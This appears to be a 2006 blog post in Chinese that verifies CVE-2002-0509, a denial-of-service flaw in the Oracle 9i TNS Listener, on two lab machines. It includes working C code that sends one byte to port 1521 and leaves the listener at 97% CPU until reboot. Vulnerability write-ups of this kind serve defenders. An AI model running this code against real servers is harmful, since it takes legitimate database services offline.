Oracle 9i TNS远程拒绝服务攻击漏洞
tomqq 6/15/2006
1、 概述
Oracle是一款流行的大型关系数据库系统,使用于Unix、Linux和Microsoft Windows平台下。Oracle中的TNS Listener守护程序存在漏洞,可导致拒绝服务攻击。
远程攻击者可以构建只包含一个字节的信息包发送给TNS listener监听的端口1521,可导致Oracle所在的系统CPU占用率达到100%,导致拒绝对其他合法服务进行响应。
BUGTRAQ ID: 4391
CVE(CAN) ID: CVE-2002-0509
2、 影响系统
Oracle Oracle9i 9.0.1
Oracle Oracle9i 9.0
3、 真机验证
有2台机器作为测试用机。219装有Oracle服务端,版本是10.1.0.2;191装有oracle的服务端,版本是9.0.1.1.1。攻击前,使用sqlplus,可以顺利从219登陆到191。
撰写一个socket的客户端程序,功能很简单:连上191的1521端口,发送一个字节的数据。程序是:
#include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> int main(){ int sockfd; int len; struct sockaddr_in address; int result; char code[] = "\x0d";//攻击数据
sockfd = socket(AF_INET,SOCK_STREAM,0); //填充地址字
address.sin_family = AF_INET; address.sin_addr.s_addr = inet_addr("192.168.2.191"); address.sin_port = htons(1521); len = sizeof(address); result = connect(sockfd,(struct sockaddr *)&address,len); if(result == -1){ perror("connect error!"); exit(1); } //写数据
write(sockfd,code,1); read(sockfd,code,2000); printf("%x",code[10]); printf("Read from server is:%c\n",code); close(sockfd); exit(0); }
|
编译后,执行这个程序,发送2次后迅速切换到191,看看攻击效果和抓包效果,我们发现TNS的cpu占用率已经达到了97%,再用219的sqlplus登陆191时,已经无法连接,只有重启191后方可正常连接。此时,IDS报警捕捉到了这次攻击,见下所有图:
图1 tns的cpu占用已经达到了97%

图2 SQLPLUS已经无法连上被攻击oracle服务器
阅读(1186) | 评论(0) | 转发(0) |